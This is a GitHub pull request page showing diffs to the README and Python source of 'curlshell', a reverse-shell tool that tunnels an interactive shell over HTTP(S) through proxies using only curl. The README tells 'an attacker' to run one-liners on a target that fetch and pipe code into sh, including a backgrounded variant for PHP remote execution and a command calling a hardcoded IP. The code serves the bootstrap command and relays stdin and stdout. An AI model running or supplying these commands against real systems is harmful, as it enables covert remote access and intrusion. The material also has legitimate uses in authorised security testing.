Skip to content

argparse fix for type=bool #1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 38 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
38 commits
Select commit Hold shift + click to select a range
7226c14
argparse fix for type=bool
SkyperTHC Sep 29, 2023
af3f106
HTTPS fixes
SkyperTHC Oct 6, 2023
c1673a6
Update README.md
SkyperTHC Oct 6, 2023
e1d9502
Merge branch 'main' of github.com:SkyperTHC/curlshell
SkyperTHC Oct 6, 2023
c1cd0d7
HTTPS fixes
SkyperTHC Oct 6, 2023
31264fa
Update README.md
SkyperTHC Oct 6, 2023
7a18811
Update README.md
SkyperTHC Oct 6, 2023
3405764
Update README.md
SkyperTHC Oct 6, 2023
3f813e7
Merge branch 'main' of github.com:SkyperTHC/curlshell
SkyperTHC Oct 6, 2023
b7534c5
Update README.md
SkyperTHC Oct 6, 2023
9f72326
--shell
SkyperTHC Oct 6, 2023
2bb368d
Merge branch 'main' of github.com:SkyperTHC/curlshell
SkyperTHC Oct 6, 2023
9d64d10
Update README.md
SkyperTHC Oct 6, 2023
615c3dc
Update README.md
SkyperTHC Oct 6, 2023
9300ea6
Update README.md
SkyperTHC Oct 6, 2023
5ba2e71
hints
SkyperTHC Oct 6, 2023
eae0564
Merge branch 'main' of github.com:SkyperTHC/curlshell
SkyperTHC Oct 6, 2023
501c323
ash compatible
SkyperTHC Oct 7, 2023
7d1903c
Update README.md
SkyperTHC Oct 7, 2023
42b291c
Update README.md
SkyperTHC Oct 7, 2023
3e6669b
auto fallback to sh
SkyperTHC Oct 7, 2023
6325978
Update README.md
SkyperTHC Oct 7, 2023
c860deb
Update README.md
SkyperTHC Oct 7, 2023
324b6b3
Update README.md
SkyperTHC Oct 7, 2023
9085e93
Update README.md
SkyperTHC Oct 7, 2023
93fc724
Update README.md
SkyperTHC Oct 7, 2023
3410aad
Update README.md
SkyperTHC Oct 7, 2023
3d1c4d6
Update README.md
SkyperTHC Oct 7, 2023
039210e
more tips
SkyperTHC Oct 7, 2023
d7743b3
Merge branch 'main' of github.com:SkyperTHC/curlshell
SkyperTHC Oct 7, 2023
b654ac9
Update README.md
SkyperTHC Oct 7, 2023
4158c83
nologin workaround
SkyperTHC Oct 7, 2023
41ac0d7
nologin workaround
SkyperTHC Oct 7, 2023
69f9eb4
nologin workaround
SkyperTHC Oct 7, 2023
0da1aa3
Update README.md
SkyperTHC Oct 27, 2023
71db049
/usr/bin/env not always available
rootTHC Apr 20, 2024
b8ea12b
Merge branch 'main' of github.com:SkyperTHC/curlshell
rootTHC Apr 20, 2024
ed819e7
Update README.md
SkyperTHC Feb 22, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
76 changes: 64 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,24 +1,76 @@
# Reverse shell using curl

During security research, you may end up running code in an environment,
where establishing raw TCP connections to the outside world is not possible;
outgoing connection may only go through a connect proxy (HTTPS_PROXY).
This simple interactive HTTP server provides a way to mux
stdin/stdout and stderr of a remote reverse shell over that proxy with the
help of curl.
(Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell); slightly enhanced)

## Usage
An encrypted reverse TCP shell through a proxy (using only cURL).

Start your listener:
It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (or the filesystem is mounted read-only/noexec). The target only needs to have `curl` and `sh` installed. Python is not needed and no additonal tools are installed or deployed.


Generate a SSL Certificate (on your system; not the target):
```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
```
./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234

## Without Proxy

```sh
# Start your listener (your system)
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```
```sh
# On the target:
curl -skfL https://1.2.3.4:8080 | sh
```

On the remote side:
## With SOCKS Proxy
```sh
./curlshell.py -x socks5h://5.5.5.5:1080 --certificate cert.pem --private-key key.pem --listen-port 8080
```
```sh
curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh
```

## With HTTP Proxy
```sh
./curlshell.py -x http://5.5.5.5:3128 --certificate cert.pem --private-key key.pem --listen-port 8080
```
```sh
curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh
```

## With HTTP (plaintext)
```sh
./curlshell.py --listen-port 8080
```
curl https://curlshell:1234 | bash
```sh
curl -sfL http://1.2.3.4:8080 | sh
```

That's it!
# Advanced Tricks
**Trick #1 - Spawn a TTY shell**
```sh
stty intr undef susp undef;
./curlshell.py --shell "script -qc '/bin/bash -il' /dev/null" --listen-port 8080 ; stty intr ^C susp ^Z
```

**Trick #2 - Start the reverse shell as a daemon / background process**
This is useful when you have remote execution via PHP:
```sh
# On the target:
(curl -sfL http://1.2.3.4:8080 | sh &>/dev/null &)
```

# How it works
The first cURL request pipes this into a target's shell:
```sh
exec curl -X POST -sN http://217.138.219.220:30903/input \
| sh 2>&1 | curl -s -T - http://217.138.219.220:30903/stdout
```

This command starts two cURL processes and connects another shell's input and output these two cURL. HTTP's 'chunked transfer' (`-T`) does the rest.

---
More at https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.

Join us on Telegram: https://t.me/thcorg
55 changes: 38 additions & 17 deletions curlshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -89,22 +89,33 @@ def locker(c, d, should_exit):
v = lockdata[k]
s += v
if s <= 0:
eprint("Exiting")
os._exit(0)
finally:
lock.release()

class ConDispHTTPRequestHandler(BaseHTTPRequestHandler):

# Suppress logging
def log_message(*args):
pass

# this is receiving the output of the bash process on the remote end and prints it to the local terminal
def do_PUT(self):
self.server.should_exit = False
w = self.path[1:]
d = getattr(sys, w)
d = getattr(sys, "stdout")
if not d:
raise Exception("Invalid request")
locker(w, 1, not self.server.args.serve_forever)
eprint(w, "stream connected")
locker("stdout", 1, not self.server.args.serve_forever)
eprint("\x1b[1;32mReverse shell connected.\x1b[0m")
eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following:\x1b[0m')
# Fix if SHELL=/usr/sbin/nologin or /bin/false or /bin/false or "" or invalid shell:
eprint('\x1b[0;36mSHELL=$(${SHELL:-false} -c "echo $SHELL") || unset SHELL')
eprint('SHELL=${SHELL:-$(bash -c "echo bash" || ash -c "echo ash")}\x1b[0m')
# ash's 'exec' will terminate even if target does not exist. Must check that script exists.
eprint('\x1b[0;36mcommand -v script >/dev/null && ${SHELL:-bash} -c : && exec script -qc "${SHELL:-bash} -il" /dev/null\x1b[0m')
eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m')
eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m")
eprint("\x1b[0;36mreset\x1b[0m")
sr = SocketStreamReader(self.rfile)
while True:
line = sr.readline()
Expand All @@ -116,13 +127,14 @@ def do_PUT(self):
d.buffer.flush()
# chunk trailer
sr.readline()
eprint(w, "stream closed")
# eprint(w, "stream closed")
eprint("--> \x1b[1;37mJoin us on Telegram - https://t.me/thcorg\x1b[0m")
self.server.should_exit = True
locker(w, -1, not self.server.args.serve_forever)
locker("stdout", -1, not self.server.args.serve_forever)

# this is feeding the bash process on the remote end with input typed in the local terminal
def do_POST(self):
eprint("stdin stream connected")
# eprint("stdin stream connected")
self.send_response(200)
self.send_header('Content-Type', "application/binary")
self.send_header('Transfer-Encoding', 'chunked')
Expand All @@ -145,17 +157,24 @@ def do_POST(self):
else:
self._send_chunk(line)
self._send_chunk("")
eprint("stdin stream closed")
# eprint("stdin stream closed")

locker("stdin", -1, not self.server.args.serve_forever)

def do_GET(self):
eprint("cmd request received from", self.client_address)
schema = "https" if self.server.args.certificate else "http"
eprint("Request received from", self.headers.get('X-Forwarded-For') or self.client_address)
schema = self.headers['X-Forwarded-Proto']
if not schema:
schema = "https" if self.server.args.certificate else "http"
proxy = ""
if self.server.args.x:
proxy = "-x " + self.server.args.x
# Note: ash/busybox's 'sh -il' will fail with SIGTTIN if not connected to a PTY.
shell = self.server.args.shell or "{ cd ~/ || cd /; command -v bash >/dev/null && exec bash -il || exec /bin/sh;}"
host = self.headers["Host"]
cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input"
cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)"
cmd+= f" | curl -s -T - {schema}://{host}/stdout"
cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input"
cmd+= f" | {shell} 2>&1"
cmd+= f" | curl -sk -T - {schema}://{host}/stdout"
cmd+= "\n"
# sending back the complex command to be executed
self.send_response(200)
Expand All @@ -164,7 +183,7 @@ def do_GET(self):
self.end_headers()
self._send_chunk(cmd)
self._send_chunk("")
eprint("bootstrapping command sent")
# eprint("bootstrapping command sent")

def _send_chunk(self, data):
if type(data) == str:
Expand Down Expand Up @@ -202,6 +221,8 @@ def do_the_job(args):
parser.add_argument("--certificate", help="path to the certificate for TLS")
parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on")
parser.add_argument("--listen-port", type=int, default=443, help="port to listen on")
parser.add_argument("--serve-forever", type=bool, default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)")
parser.add_argument("--dependabot-workaround", type=bool, action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.")
parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)")
parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.")
parser.add_argument("--shell", help="Shell [--shell /bin/sh or --shell '/usr/bin/env zsh -il']")
parser.add_argument("-x", help="Proxy to use [e.g. -x socks5h://1.2.3.4:1080 or -x http://user:[email protected]:3128]")
do_the_job(parser.parse_args())